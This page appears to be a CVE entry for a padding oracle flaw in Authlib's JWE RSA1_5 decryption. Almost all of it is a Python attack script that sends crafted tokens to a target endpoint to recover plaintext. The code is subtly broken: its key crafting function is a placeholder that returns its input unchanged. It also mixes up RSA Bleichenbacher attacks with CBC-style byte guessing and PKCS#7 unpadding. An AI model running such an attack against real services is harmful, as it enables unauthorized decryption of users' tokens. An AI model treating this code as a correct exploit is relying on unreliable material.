CVE-2026-28490: Authlib JWE RSA1_5密码填充Oracle漏洞

import requests import json # CVE-2026-28490 PoC - Padding Oracle Attack on Authlib JWE RSA1_5 # This is a simplified demonstration of the attack concept def create_crafted_ciphertext(original_ciphertext, target_block): """ Craft a modified ciphertext for oracle testing. In real attack, this would be modified to test different padding conditions. """ # Modify the ciphertext to test oracle responses modified = bytearray(original_ciphertext) modified[0] ^= 0x01 # Flip bits to potentially create valid-looking padding return bytes(modified) def padding_oracle_attack(target_url, encrypted_token): """ Perform padding oracle attack to decrypt JWE RSA1_5 encrypted tokens. Args: target_url: URL endpoint that decrypts JWE tokens encrypted_token: Base64-encoded JWE token Returns: Decrypted plaintext """ plaintext = b'' block_size = 256 # RSA-2048 block size # For each block, use oracle to recover plaintext for block_num in range(get_block_count(encrypted_token)): block_ciphertext = extract_block(encrypted_token, block_num) recovered_block = b'' # Oracle-guided decryption (Bleichenbacher style) for byte_pos in range(block_size): for guess in range(256): crafted = craft_ciphertext(block_ciphertext, byte_pos, guess) # Send to oracle and check response if oracle_check(target_url, crafted): # Valid padding found, extract byte recovered_block += bytes([guess]) break plaintext += recovered_block return unpad_pkcs7(plaintext) def oracle_check(url, ciphertext): """ Check if the padding oracle accepts the ciphertext. Returns True if padding is valid, False otherwise. """ response = requests.post(url, json={'token': ciphertext}) # Oracle responses that indicate padding validity if response.status_code == 200: return True elif 'padding' in response.text.lower() or 'decrypt' in response.text.lower(): return False else: # Invalid padding detected return False def craft_ciphertext(original, position, guess): """ Craft ciphertext for oracle testing at specific byte position. Implements the mathematical transformation needed for Bleichenbacher attack. """ # Simplified: In real attack, use RSA mathematical properties # to construct ciphertexts that will decrypt to values with specific byte patterns return original # Placeholder for actual implementation def get_block_count(encrypted_token): """Calculate number of RSA blocks in the encrypted token.""" return len(encrypted_token) // 256 def extract_block(token, block_num): """Extract specific RSA block from encrypted token.""" start = block_num * 256 return token[start:start + 256] def unpad_pkcs7(data): """Remove PKCS#7 padding from decrypted data.""" padding_len = data[-1] return data[:-padding_len] # Example vulnerable endpoint VULNERABLE_ENDPOINT = "https://example.com/api/decrypt" # Example encrypted JWE token ENCRYPTED_TOKEN = "eyJhbGciOiJSU0ExIn0..." # Truncated for example if __name__ == "__main__": print("CVE-2026-28490 - Authlib JWE RSA1_5 Padding Oracle PoC") print("=" * 60) print("Target: Authlib < 1.6.9 with JWE RSA1_5 algorithm") print("Vulnerability: Padding Oracle (Bleichenbacher variant)") print("=" * 60) # Note: This PoC demonstrates the attack concept # Actual implementation requires understanding the specific oracle behavior # and proper RSA mathematical transformations